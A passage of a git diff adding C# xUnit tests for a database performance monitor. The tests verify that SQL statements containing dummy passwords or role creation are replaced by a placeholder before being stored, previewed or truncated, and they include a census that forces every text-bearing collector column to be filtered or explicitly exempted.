+            Assert.DoesNotContain("LEFT(", PgFactCollector.BadActorSql, StringComparison.Ordinal);
+            await using var cmd = new NpgsqlCommand(PgFactCollector.BadActorSql, run.Connection);
+            cmd.Parameters.AddWithValue(ServerId);
+            cmd.Parameters.AddWithValue(run.Context.TimeRangeStart);
+            cmd.Parameters.AddWithValue(run.Context.TimeRangeEnd);
+            await using var reader = await cmd.ExecuteReaderAsync(run.Ct);
+            Assert.True(await reader.ReadAsync(run.Ct));
+            Assert.Equal(10, reader.FieldCount);
+            for (var i = 0; i < reader.FieldCount; i++)
+                Assert.NotEqual("query_text", reader.GetName(i));
+        });
+    }
+
+    [Fact]
+    public async Task PileupReader_JudgesTheWholeStatement_AndKeepsTheIdentityTextCutTheOldWay()
+    {
+        await RunAsync(async run =>
+        {
+            var at = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(-5);
+            var named = StatementScrubCanary.UriStatement(1500);
+            var plain = "SELECT plain_ssf " + new string('x', 1983);
+            foreach (var (session, text) in new[] { (91, named), (92, plain) })
+            {
+                await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, total_elapsed_time_ms)
+VALUES ($1, $2, $3, $4, $5, 'UriDb', $6, 'running', 9000)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, session, text);
+            }
+
+            var rows = await new PgPileupSnapshotReader(run.Postgres).ReadWindowAsync(ServerId, at.AddMinutes(-10), run.Ct);
+            var namedRow = Assert.Single(rows, r => r.SessionId == 91);
+            var plainRow = Assert.Single(rows, r => r.SessionId == 92);
+
+            /* The shown text is judged whole: no start of the secret, the marker instead. */
+            Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, namedRow.PreviewText, StringComparison.Ordinal);
+            Assert.Equal(SensitiveStatements.PlaceholderText, namedRow.PreviewText);
+            /* The identity text is the old SQL cut (1500 characters), unjudged, so a null-hash row groups as it did. */
+            Assert.Equal(named[..1500], namedRow.QueryText);
+            Assert.Equal(plain[..1500], plainRow.QueryText);
+            Assert.Equal(plain[..1500], plainRow.PreviewText);
+            Assert.Equal(PgPileupSnapshotReader.StatementTextCharacters, plainRow.PreviewText!.Length);
+        });
+    }
+
+    [Fact]
+    public async Task TargetDeadlockReader_JudgesTheWholeNormalizedStatement_ThenCuts()
+    {
+        await RunAsync(async run =>
+        {
+            /* The marker sits inside the 2,000-character cut; the statement that names it (CREATE ROLE) sits past it. */
+            var marker = "SELECT marker_pg_ssf" + string.Concat(Enumerable.Repeat(", 1", 800)) + " ; CREATE ROLE zz_ssf";
+            var plain = "SELECT plain_pg_ssf" + string.Concat(Enumerable.Repeat(", 1", 800));
+            var at = run.Context.TimeRangeStart.AddMinutes(30);
+            foreach (var (shape, statement) in new[] { ("relation a", marker), ("relation b", plain) })
+            {
+                await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO pg_deadlocks
+    (collection_id, collection_time, server_id, server_name, occurred_at, victim_pid, participant_count, deadlock_hash, lock_modes, resources, victim_statement, graph_text)
+VALUES ($1, $2, $3, $4, $2, 4242, 2, upper(left(encode(sha256(convert_to($5, 'UTF8')), 'hex'), 32)), 'ShareLock', $6, $5, 'graph')",
+                    CollectionIdGenerator.Next(), at, PgServerId, PgServerName, statement, shape);
+            }
+
+            var context = new AnalysisContext
+            {
+                ServerId = PgServerId, ServerName = PgServerName, TimeRangeStart = run.Context.TimeRangeStart, TimeRangeEnd = run.Context.TimeRangeEnd,
+                ServerUtcOffset = TimeSpan.Zero, CancellationToken = run.Ct
+            };
+            var finding = new AnalysisFinding
+            {
+                RootFactKey = PgTargetFactKeys.DeadlockRate, StoryPath = PgTargetFactKeys.DeadlockRate,
+                PathKeys = [PgTargetFactKeys.DeadlockRate], Severity = 1.0
+            };
+            await new PgTargetDrillDownCollector(run.Postgres).EnrichFindingsAsync([finding], context);
+            var json = Json(finding.DrillDown![PgTargetDrillDownCollector.DeadlockExemplarsSection]);
+
+            Assert.DoesNotContain("marker_pg_ssf", json, StringComparison.Ordinal);
+            Assert.Contains(SensitiveStatements.PlaceholderText, json, StringComparison.Ordinal);
+            Assert.Contains("plain_pg_ssf", json, StringComparison.Ordinal);
+        });
+    }
+
+    private static string Graph(string inputBuffer, int pad = 0) =>
+        "<deadlock" + (pad > 0 ? " note=\"" + new string('n', pad) + "\"" : "") + "><victim-list><victimProcess id=\"p1\"/></victim-list><process-list><process id=\"p1\"><inputbuf>"
+        + inputBuffer + "</inputbuf></process></process-list></deadlock>";
+
+    private static async Task<(string Xml, bool Truncated)> DeadlockPreviewOfAsync(Run run, string graph)
+    {
+        await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, "DELETE FROM deadlocks WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, victim_sql_text)
+VALUES ($1, $2, $3, $4, $2, $5, 'x')",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(DateTime.UtcNow.AddMinutes(-5)), ServerId, ServerName, graph);
+        var json = await PerformanceMonitor.Darling.Service.Mcp.DarlingMcpBlockingTools.GetDeadlockDetail(run.Postgres, ServerName);
+        var row = System.Text.Json.Nodes.JsonNode.Parse(json)!["deadlocks"]![0]!;
+        return ((string)row["deadlock_graph_xml"]!, (bool)row["deadlock_graph_xml_truncated"]!);
+    }
+
+    [Fact]
+    public async Task DeadlockDetail_PreviewTruncatedFlag_IsReadOffTheFilteredGraph_NotTheRawOne()
+    {
+        await RunAsync(async run =>
+        {
+            /* Shrink: a raw graph past the 2000-character preview whose long statement the filter replaces by the marker comes
+               back SHORT, so nothing was cut and the flag is false (the raw length said true). */
+            var longSecret = "CREATE LOGIN [shrink_ssf] WITH PASSWORD = N'" + new string('s', 1500) + "'";
+            var shrinking = Graph(longSecret + new string(' ', 400));
+            Assert.True(shrinking.Length > 2000);
+            var shrunk = await DeadlockPreviewOfAsync(run, shrinking);
+            Assert.False(shrunk.Truncated);
+            Assert.DoesNotContain("PASSWORD", shrunk.Xml, StringComparison.OrdinalIgnoreCase);
+            Assert.True(shrunk.Xml.Length < 2000);
+
+            /* Growth: a raw graph of exactly 2000 characters whose short statement becomes the longer marker is over 2000
+               filtered, so the preview cuts it and the flag is true (the raw length said false). */
+            var shortSecret = "CREATE LOGIN a WITH PASSWORD='x'";
+            var padded = Graph(shortSecret, pad: 2000 - Graph(shortSecret).Length - " note=\"\"".Length);
+            Assert.Equal(2000, padded.Length);
+            Assert.True(SensitiveStatements.Xml(padded)!.Length > 2000);
+            var grown = await DeadlockPreviewOfAsync(run, padded);
+            Assert.True(grown.Truncated);
+            Assert.EndsWith("... (truncated)", grown.Xml, StringComparison.Ordinal);
+            Assert.DoesNotContain("PASSWORD", grown.Xml, StringComparison.OrdinalIgnoreCase);
+
+            /* A plain graph is cut once and flagged once, on both lengths. */
+            Assert.True((await DeadlockPreviewOfAsync(run, Graph(new string('p', 2500)))).Truncated);
+            Assert.False((await DeadlockPreviewOfAsync(run, Graph("SELECT 1"))).Truncated);
+        });
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[] { "blocked_process_reports", "deadlocks", "query_stats", "query_snapshots", "pg_deadlocks" })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = ANY($1)", new[] { ServerId, PgServerId });
+        }
+
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = ANY($1)", new[] { ServerId, PgServerId });
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = ANY($1)", new[] { ServerId, PgServerId });
+    }
+}
diff --git a/Darling/Darling.Tests/StatementAnalysisReadCutPinTests.cs b/Darling/Darling.Tests/StatementAnalysisReadCutPinTests.cs
new file mode 100644
index 0000000000..c75a2b4aa3
--- /dev/null
+++ b/Darling/Darling.Tests/StatementAnalysisReadCutPinTests.cs
@@ -0,0 +1,109 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: no Darling analysis read cuts statement text in SQL. The text comes back whole, the statement filter
+/// judges it, and <see cref="AnalysisStatementText"/> cuts it after. Plans are PR C's and relation names are not
+/// statement text, so neither is scanned for.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StatementAnalysisReadCutPinTests
+{
+    [Fact]
+    public void NoAnalysisReadCutsStatementTextInSql()
+    {
+        var dir = Path.GetDirectoryName(typeof(PgDrillDownCollector).Assembly.Location)!;
+        var root = dir;
+        while (root is not null && !Directory.Exists(Path.Combine(root, "Darling", "PerformanceMonitor.Darling.Analysis")))
+            root = Path.GetDirectoryName(root);
+        Assert.NotNull(root);
+
+        var offenders = Directory.GetFiles(Path.Combine(root!, "Darling", "PerformanceMonitor.Darling.Analysis"), "*.cs")
+            .Where(f => !f.EndsWith("PgDrillDownCollector.Plans.cs", StringComparison.Ordinal))
+            .SelectMany(f => CutSites(File.ReadAllText(f)).Select(line => Path.GetFileName(f) + ":" + line))
+            .ToList();
+
+        Assert.Empty(offenders);
+    }
+
+    /// <summary>
+    /// The 1-based line of every SQL cut of a statement-named column in one C# source. Reads the string literals
+    /// through <see cref="CSharpSourceWalker.StringLiteralBodies"/> rather than splitting lines on a comment prefix,
+    /// so a block comment's continuation lines (no leading asterisk) are not read as SQL, and the SQL in a
+    /// verbatim or raw literal is (#3052).
+    /// </summary>
+    private static List<int> CutSites(string source)
+    {
+        var sites = new List<int>();
+
+        foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(source))
+        {
+            foreach (System.Text.RegularExpressions.Match m in System.Text.RegularExpressions.Regex.Matches(body,
+                @"LEFT\(\s*(MAX\(|COALESCE\()?\s*\w*\.?(query_text|query_sql_text|victim_sql_text|blocked_sql_text|blocking_sql_text|latest_victim_statement|latest_graph_text)\b"))
+            {
+                var line = 1;
+                for (var i = 0; i < start && i < source.Length; i++)
+                {
+                    if (source[i] == '\n') line++;
+                }
+
+                sites.Add(line + body.Take(m.Index).Count(c => c == '\n'));
+            }
+        }
+
+        return sites;
+    }
+
+    [Fact]
+    public void TheCutScan_ReadsLiteralsNotComments_AndFindsACutInEitherLiteralForm()
+    {
+        const string fixture = """
+            class Probe
+            {
+                /* A note that mentions LEFT(query_text, 200) in a block comment
+                   LEFT(MAX(t.query_text), 5) on a line with no asterisk. */
+                // LEFT(query_text, 9) in a line comment
+                const string Plain = "SELECT LEFT(MAX(t.query_text), 200) FROM q";
+                const string Verbatim = @"SELECT 1,
+                    LEFT(COALESCE(d.query_text, ''), 10) FROM q";
+            }
+            """;
+
+        var sites = CutSites(fixture);
+
+        Assert.Equal(2, sites.Count);
+        Assert.Equal(new[] { 6, 8 }, sites.ToArray());
+    }
+
+    [Fact]
+    public void Preview_JudgesTheWholeText_ThenCutsByCodePoint()
+    {
+        var named = StatementScrubCanary.UriStatement(500);
+        Assert.Equal(SensitiveStatements.PlaceholderText, AnalysisStatementText.Preview(named, 500));
+
+        var plain = "SELECT " + new string('x', 700);
+        Assert.Equal(plain[..500], AnalysisStatementText.Preview(plain, 500));
+        Assert.Null(AnalysisStatementText.Preview(null, 500));
+
+        /* PostgreSQL's LEFT counts code points: 3 astral characters are 6 UTF-16 units and still 3 characters. */
+        var astral = "\U0001F600\U0001F600\U0001F600\U0001F600";
+        Assert.Equal("\U0001F600\U0001F600\U0001F600", AnalysisStatementText.CutCodePoints(astral, 3));
+        Assert.Equal("ab", AnalysisStatementText.CutCodePoints("abcd", 2));
+        Assert.Equal("abcd", AnalysisStatementText.CutCodePoints("abcd", 4));
+    }
+}
diff --git a/Darling/Darling.Tests/StatementCollectionCensusCases.cs b/Darling/Darling.Tests/StatementCollectionCensusCases.cs
new file mode 100644
index 0000000000..d38560ba9e
--- /dev/null
+++ b/Darling/Darling.Tests/StatementCollectionCensusCases.cs
@@ -0,0 +1,53 @@
+// Copyright (c) Erik Darling Data. All rights reserved.
+// Licensed under the terms in the LICENSE file in the repository root.
+
+using System;
+using System.Collections.Generic;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (statement filter): the registry of collection-time census cases. A case is a test that plants the canary
+/// in a collector's input, runs the read and the write, and asserts that no written value holds a secret needle
+/// (<c>StatementScrubRecordingWriter</c> is the harness). Each lane that hooks a column through the statement filter
+/// adds one line here, naming the test that proves it: the key is "definition.column", exactly as
+/// <c>StatementColumnCensusTests.Listed</c> spells it, and the value is "StatementCollectionCensusTests.TestMethod": a
+/// <c>[Fact]</c> or <c>[Theory]</c> with no skip, in the class <c>StatementCollectionCensusTests</c> (partial, so each
+/// lane can add its file), whose source drives <c>StatementScrubRecordingWriter</c> and names the column.
+/// <c>StatementColumnCensusTests.EveryNonPendingHookedColumn_HasACollectionCase</c> reads this registry: a Hooked
+/// entry cannot be flipped to non-pending without a case here, and a case here that names a missing test or a column
+/// that is not a Hooked entry fails too.
+/// </summary>
+internal static class StatementCollectionCensusCases
+{
+    public static readonly IReadOnlyDictionary<string, string> ByColumn =
+        new Dictionary<string, string>(StringComparer.Ordinal)
+        {
+            // Filled by the lanes that hook a column, one line each, for example:
+            // ["query_stats.query_text"] = "StatementCollectionCensusTests.QueryStats_QueryText_IsWithheld",
+            ["long_query_completions.statement_text"] = "StatementCollectionCensusTests.LongQueryCompletions_StatementText_IsWithheldAndThePlainStatementIsUntouched",
+            ["default_trace_events.text_data"] = "StatementCollectionCensusTests.DefaultTraceEvents_TextData_IsWithheldAndThePlainStatementIsUntouched",
+            ["system_health_events.event_xml"] = "StatementCollectionCensusTests.SystemHealthEvents_EventXml_WithholdsTheSqlTextActionAndKeepsTheRestOfTheEvent",
+            ["job_history.message"] = "StatementCollectionCensusTests.JobHistory_Message_IsWithheldWhenItEchoesAStatement_AndAPlainMessageIsUntouched",
+            ["query_store.query_text"] = "StatementCollectionCensusTests.QueryStore_QueryText_IsWithheld",
+            ["query_snapshots.query_text"] = "StatementCollectionCensusTests.QuerySnapshots_QueryText_IsWithheld",
+            ["query_snapshots.query_plan"] = "StatementCollectionCensusTests.QuerySnapshots_QueryPlan_IsFiltered",
+            ["query_snapshots.live_query_plan"] = "StatementCollectionCensusTests.QuerySnapshots_LiveQueryPlan_IsFiltered",
+            ["plan_correction.query_text"] = "StatementCollectionCensusTests.PlanCorrection_QueryText_IsWithheld",
+            ["plan_correction.implementation_script"] = "StatementCollectionCensusTests.PlanCorrection_ImplementationScript_IsWithheld",
+            ["query_stats.query_text"] = "StatementCollectionCensusTests.QueryStats_QueryText_IsWithheld",
+            ["query_stats.query_plan_xml"] = "StatementCollectionCensusTests.QueryStats_QueryPlanXml_InlinePlanIsFiltered",
+            ["procedure_stats.query_plan_xml"] = "StatementCollectionCensusTests.ProcedureStats_QueryPlanXml_InlinePlanIsFiltered",
+            // R4 (blocking and deadlocks), StatementScrubBlockingTests.cs:
+            ["blocked_process_report.blocked_sql_text"] = "StatementCollectionCensusTests.BlockedProcessReport_blocked_sql_text_blocking_sql_text_blocked_process_report_xml_and_both_plans_AreWithheld",
+            ["blocked_process_report.blocking_sql_text"] = "StatementCollectionCensusTests.BlockedProcessReport_blocked_sql_text_blocking_sql_text_blocked_process_report_xml_and_both_plans_AreWithheld",
+            ["blocked_process_report.blocked_process_report_xml"] = "StatementCollectionCensusTests.BlockedProcessReport_blocked_sql_text_blocking_sql_text_blocked_process_report_xml_and_both_plans_AreWithheld",
+            ["blocked_process_report.blocked_query_plan_xml"] = "StatementCollectionCensusTests.BlockedProcessReport_blocked_sql_text_blocking_sql_text_blocked_process_report_xml_and_both_plans_AreWithheld",
+            ["blocked_process_report.blocking_query_plan_xml"] = "StatementCollectionCensusTests.BlockedProcessReport_blocked_sql_text_blocking_sql_text_blocked_process_report_xml_and_both_plans_AreWithheld",
+            ["deadlocks.victim_sql_text"] = "StatementCollectionCensusTests.Deadlocks_victim_sql_text_deadlock_graph_xml_and_victim_query_plan_xml_AreWithheld",
+            ["deadlocks.deadlock_graph_xml"] = "StatementCollectionCensusTests.Deadlocks_victim_sql_text_deadlock_graph_xml_and_victim_query_plan_xml_AreWithheld",
+            ["deadlocks.victim_query_plan_xml"] = "StatementCollectionCensusTests.Deadlocks_victim_sql_text_deadlock_graph_xml_and_victim_query_plan_xml_AreWithheld",
+            ["dmv_blocking_snapshot.blocked_sql_text"] = "StatementCollectionCensusTests.DmvBlockingSnapshot_blocked_sql_text_and_blocking_sql_text_AreWithheld",
+            ["dmv_blocking_snapshot.blocking_sql_text"] = "StatementCollectionCensusTests.DmvBlockingSnapshot_blocked_sql_text_and_blocking_sql_text_AreWithheld",
+        };
+}
diff --git a/Darling/Darling.Tests/StatementColumnCensusTests.cs b/Darling/Darling.Tests/StatementColumnCensusTests.cs
new file mode 100644
index 0000000000..ce04873644
--- /dev/null
+++ b/Darling/Darling.Tests/StatementColumnCensusTests.cs
@@ -0,0 +1,972 @@
+// Copyright (c) Erik Darling Data. All rights reserved.
+// Licensed under the terms in the LICENSE file in the repository root.
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (statement filter, PR B): a census over every SQL Server collector definition's payload columns. A column
+/// whose name looks like it can hold statement text, a plan, an event document or a script (the
+/// <see cref="PayloadPattern"/>) must be listed below as one of three things, so a new column cannot reach the
+/// store without somebody deciding what happens to it:
+/// <list type="bullet">
+/// <item><b>Hooked</b>: the collector passes the value through the statement filter before the write. Each entry
+/// names its row in the plan's collection-write-path table and the lane that lands the hook. A row whose hook has
+/// not landed yet is "pending: Rn"; the integration branch flips <see cref="Pending"/> to false per row.</item>
+/// <item><b>NullByDesign</b>: the collector writes NULL there on purpose.</item>
+/// <item><b>Exempt</b>: the name matches but the value is not statement content, with the reason spelled out.</item>
+/// </list>
+/// <para>The pattern also matches <c>input_buffer</c>, <c>batch_text</c>, <c>command</c> and <c>definition</c>.
+/// A <c>Hooked</c> entry that is not <see cref="Entry.Pending"/> must have a collection-time case registered in
+/// <see cref="StatementCollectionCensusCases"/> (<see cref="EveryNonPendingHookedColumn_HasACollectionCase"/>), so
+/// flipping an entry cannot pass without a hook that a test exercises. The census sees definition payload columns
+/// only; <see cref="WatchedWriters"/> lists the writers that do not go through a definition (a plan or text store
+/// fed outside the collector pipeline, the slow-read log) and a source scan checks each one for a
+/// <c>SensitiveStatements</c> call once it is no longer pending.</para>
+/// A new matching column fails <see cref="EveryMatchingPayloadColumn_IsListed"/> until it is listed. A listed
+/// column that no longer exists or no longer matches fails <see cref="EveryListedColumn_StillMatchesADefinition"/>,
+/// so the list cannot rot. PostgreSQL definitions are out of scope: they are a separate engine with their own
+/// filter (<c>PgSensitiveStatementFilter</c>).
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StatementColumnCensusTests
+{
+    private static readonly Regex PayloadPattern = new(
+        "sql_text$|query_text$|statement_text$|text_data$|_xml$|query_plan|event_xml|implementation_script|^message$|input_buffer|batch_text|command|definition",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private enum Kind
+    {
+        Hooked,
+        NullByDesign,
+        Exempt,
+    }
+
+    private sealed record Entry(Kind Kind, string Detail, string? Lane = null, bool Pending = false);
+
+    private static Entry Hooked(string row, string lane, bool pending = true) =>
+        new(Kind.Hooked, "6.7 row " + row, lane, pending);
+
+    private static Entry Null(string reason) => new(Kind.NullByDesign, reason);
+
+    private static Entry Exempt(string reason) => new(Kind.Exempt, reason);
+
+    /// <summary>Keyed "definition.column" (the definition's Name, which is what schedules and logs call it).</summary>
+    private static readonly Dictionary<string, Entry> Listed = new(StringComparer.Ordinal)
+    {
+        /* Rows 1-4: query_stats and procedure_stats text and plans, inline and deferred fetch (R2). */
+        ["query_stats.query_text"] = Hooked("1", "R2", pending: false),
+        ["query_stats.query_plan_xml"] = Hooked("2 and 3 (deferred plan fetch)", "R2", pending: false),
+        ["procedure_stats.query_plan_xml"] = Hooked("3 and 4 (deferred plan fetch, inline)", "R2", pending: false),
+        ["query_stats.query_plan_hash"] = Exempt("a hash of the plan, not plan text; the filter has nothing to read"),
+        ["query_stats.query_plan_xml_bytes"] = Exempt("the byte length of the stored plan, a number"),
+        ["procedure_stats.query_plan_xml_bytes"] = Exempt("the byte length of the stored plan, a number"),
+
+        /* Row 5: Query Store. Lite stores it live; Darling stores it live and from backfill (R3). */
+        ["query_store.query_text"] = Hooked("5", "R3", pending: false),
+        ["query_store.query_plan_hash"] = Exempt("a hash of the plan, not plan text; the filter has nothing to read"),
+        ["query_store.query_plan_text"] = Null("the main Query Store query writes a typed NULL here (QueryStoreCollector.cs:738); plan text reaches the store only through the separate by-ids fetch and the plan writer (6.7 row 7, R3)"),
+
+        /* Row 8: the live snapshot of running requests (R6). */
+        ["query_snapshots.query_text"] = Hooked("8", "R6", pending: false),
+        ["query_snapshots.query_plan"] = Hooked("8", "R6", pending: false),
+        ["query_snapshots.live_query_plan"] = Hooked("8", "R6", pending: false),
+
+        /* Rows 9-11: blocked process reports (R4). */
+        ["blocked_process_report.blocked_sql_text"] = Hooked("9", "R4", pending: false),
+        ["blocked_process_report.blocking_sql_text"] = Hooked("9", "R4", pending: false),
+        ["blocked_process_report.blocked_process_report_xml"] = Hooked("10", "R4", pending: false),
+        ["blocked_process_report.blocked_query_plan_xml"] = Hooked("11", "R4", pending: false),
+        ["blocked_process_report.blocking_query_plan_xml"] = Hooked("11", "R4", pending: false),
+
+        /* Rows 12-14: deadlocks (R4). */
+        ["deadlocks.victim_sql_text"] = Hooked("12", "R4", pending: false),
+        ["deadlocks.deadlock_graph_xml"] = Hooked("13", "R4", pending: false),
+        ["deadlocks.victim_query_plan_xml"] = Hooked("14", "R4", pending: false),
+
+        /* Row 15: the DMV blocking snapshot (R4). */
+        ["dmv_blocking_snapshot.blocked_sql_text"] = Hooked("15", "R4", pending: false),
+        ["dmv_blocking_snapshot.blocking_sql_text"] = Hooked("15", "R4", pending: false),
+
+        /* Rows 16-18 and 21: the event and history collectors (R5). */
+        ["long_query_completions.statement_text"] = Hooked("16", "R5", pending: false),
+        ["default_trace_events.text_data"] = Hooked("17", "R5", pending: false),
+        ["system_health_events.event_xml"] = Hooked("18", "R5", pending: false),
+        ["job_history.message"] = Hooked("21", "R5", pending: false),
+
+        /* The widened pattern (input_buffer, batch_text, command, definition) found one more column. Plan 6.7 names it. */
+        ["index_object_stats.filter_definition"] = Exempt("an index filter predicate over bracketed column names (IndexObjectStatsCollector.cs), not a statement"),
+
+        /* Row 19: plan correction (R6). */
+        ["plan_correction.query_text"] = Hooked("19", "R6", pending: false),
+        ["plan_correction.implementation_script"] = Hooked("19", "R6", pending: false),
+    };
+
+    /// <summary>
+    /// Columns the pattern does not match but the plan names as exempt, so a later rename into the pattern, or a
+    /// removal, is noticed. Each must exist in its definition and must NOT match the pattern (a match belongs in
+    /// <see cref="Listed"/>).
+    /// </summary>
+    private static readonly Dictionary<string, string> WatchedExempt = new(StringComparer.Ordinal)
+    {
+        ["waiting_tasks.resource_description"] = "the collector writes a literal NULL there (WaitingTasksCollector.cs)",
+    };
+
+    private static IEnumerable<(string Definition, string Column)> SqlServerPayloadColumns() =>
+        CollectorCatalog.All
+            .Where(d => d.TargetEngine == CollectorTargetEngine.SqlServer)
+            .SelectMany(d => d.PayloadColumns.Select(c => (d.Name, c.Name)));
+
+    /// <summary>The census itself, over any set of (definition, column) pairs; the plant test feeds it a fake one.</summary>
+    private static string[] Unlisted(IEnumerable<(string Definition, string Column)> columns) =>
+        columns
+            .Where(c => PayloadPattern.IsMatch(c.Column))
+            .Select(c => c.Definition + "." + c.Column)
+            .Where(key => !Listed.ContainsKey(key))
+            .OrderBy(k => k, StringComparer.Ordinal)
+            .ToArray();
+
+    [Fact]
+    public void EveryMatchingPayloadColumn_IsListed()
+    {
+        var unlisted = Unlisted(SqlServerPayloadColumns());
+
+        Assert.True(
+            unlisted.Length == 0,
+            "These SQL Server payload columns look like statement, plan or event content but are not in " +
+            "StatementColumnCensusTests.Listed. Hook each one through the statement filter (and list it as Hooked " +
+            "with its plan row and lane), or list it as NullByDesign or Exempt with the reason: " +
+            string.Join(", ", unlisted));
+    }
+
+    [Fact]
+    public void ANewMatchingColumn_IsReportedUntilListed()
+    {
+        var planted = SqlServerPayloadColumns()
+            .Append(("query_stats", "extra_statement_text"))
+            .Append(("wait_stats", "wait_type"))
+            .ToArray();
+
+        var unlisted = Unlisted(planted);
+
+        Assert.Equal(new[] { "query_stats.extra_statement_text" }, unlisted);
+    }
+
+    [Fact]
+    public void EveryListedColumn_StillMatchesADefinition()
+    {
+        var actual = SqlServerPayloadColumns()
+            .Where(c => PayloadPattern.IsMatch(c.Column))
+            .Select(c => c.Definition + "." + c.Column)
+            .ToHashSet(StringComparer.Ordinal);
+
+        var stale = Listed.Keys.Where(k => !actual.Contains(k)).OrderBy(k => k, StringComparer.Ordinal).ToArray();
+
+        Assert.True(
+            stale.Length == 0,
+            "These census entries name a column that no longer exists in a SQL Server definition or no longer " +
+            "matches the payload pattern; remove or fix them: " + string.Join(", ", stale));
+    }
+
+    [Fact]
+    public void EveryWatchedExemptColumn_ExistsAndStaysOutsideThePattern()
+    {
+        var all = SqlServerPayloadColumns().Select(c => c.Definition + "." + c.Column).ToHashSet(StringComparer.Ordinal);
+
+        foreach (var (key, reason) in WatchedExempt)
+        {
+            Assert.False(string.IsNullOrWhiteSpace(reason), key + " needs a reason");
+            Assert.True(all.Contains(key), key + " is no longer a SQL Server payload column; remove it from WatchedExempt");
+
+            var column = key[(key.IndexOf('.', StringComparison.Ordinal) + 1)..];
+            Assert.False(PayloadPattern.IsMatch(column), key + " now matches the payload pattern; move it into Listed");
+        }
+    }
+
+    [Fact]
+    public void EveryEntry_CarriesItsReasonRowAndLane()
+    {
+        foreach (var (key, entry) in Listed)
+        {
+            Assert.False(string.IsNullOrWhiteSpace(entry.Detail), key + " needs a plan row or a reason");
+
+            if (entry.Kind == Kind.Hooked)
+            {
+                Assert.Matches("^R[0-9]+$", entry.Lane ?? string.Empty);
+                Assert.StartsWith("6.7 row ", entry.Detail, StringComparison.Ordinal);
+            }
+            else
+            {
+                Assert.Null(entry.Lane);
+                Assert.False(entry.Pending, key + ": only a Hooked entry can be pending");
+            }
+        }
+    }
+
+    [Fact]
+    public void TheCensusCountsWhatItReports()
+    {
+        var matched = SqlServerPayloadColumns().Count(c => PayloadPattern.IsMatch(c.Column));
+        Assert.Equal(matched, Listed.Count);
+
+        Assert.Equal(matched, Listed.Values.Count(e => e.Kind == Kind.Hooked)
+            + Listed.Values.Count(e => e.Kind == Kind.NullByDesign)
+            + Listed.Values.Count(e => e.Kind == Kind.Exempt));
+    }
+
+    // ── non-pending Hooked entries need a collection-time case ──
+
+    /// <summary>
+    /// The one class a registered collection case must sit in: the collection census, the tests that plant the canary
+    /// in a collector's input and read what <c>StatementScrubRecordingWriter</c> recorded. It may be a partial class
+    /// spread over several files.
+    /// </summary>
+    internal const string CollectionCensusClass = "StatementCollectionCensusTests";
+
+    /// <summary>A real test: a <c>[Fact]</c> or <c>[Theory]</c> that is not skipped, conditionally skipped or explicit.</summary>
+    private static bool IsRunnableTest(MethodInfo method)
+    {
+        var facts = method.GetCustomAttributes<FactAttribute>(inherit: true).ToArray();
+        return facts.Length > 0
+            && facts.All(f => string.IsNullOrEmpty(f.Skip)
+                && string.IsNullOrEmpty(f.SkipUnless)
+                && string.IsNullOrEmpty(f.SkipWhen)
+                && !f.Explicit);
+    }
+
+    /// <summary>The source of every file that declares <paramref name="type"/>, joined (empty when none is found).</summary>
+    private static string CensusClassSource(Type type)
+    {
+        var dir = Path.GetDirectoryName(RepoFile.PathTo("Darling", "Darling.Tests", "StatementColumnCensusTests.cs"))!;
+        var declaration = new Regex(@"\bclass\s+" + Regex.Escape(type.Name) + @"\b");
+        return string.Join("\n", Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                && !f.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal))
+            .Select(File.ReadAllText)
+            .Where(t => declaration.IsMatch(t)));
+    }
+
+    /// <summary>
+    /// The problems with a registry: a key that is not a Hooked entry, or a case that does not name a runnable test
+    /// (a method that exists, carries <c>[Fact]</c>/<c>[Theory]</c> with no skip) in the collection census class whose
+    /// source drives <c>StatementScrubRecordingWriter</c>, names the column, and does not skip at run time.
+    /// </summary>
+    private static string[] RegistryProblems(IReadOnlyDictionary<string, string> cases) =>
+        RegistryProblems(cases, typeof(StatementColumnCensusTests).Assembly.GetTypes(), CollectionCensusClass, CensusClassSource);
+
+    private static string[] RegistryProblems(
+        IReadOnlyDictionary<string, string> cases, IEnumerable<Type> types, string censusClass, Func<Type, string> sourceOf)
+    {
+        var problems = new List<string>();
+        var typeList = types.ToArray();
+
+        foreach (var (key, test) in cases.OrderBy(c => c.Key, StringComparer.Ordinal))
+        {
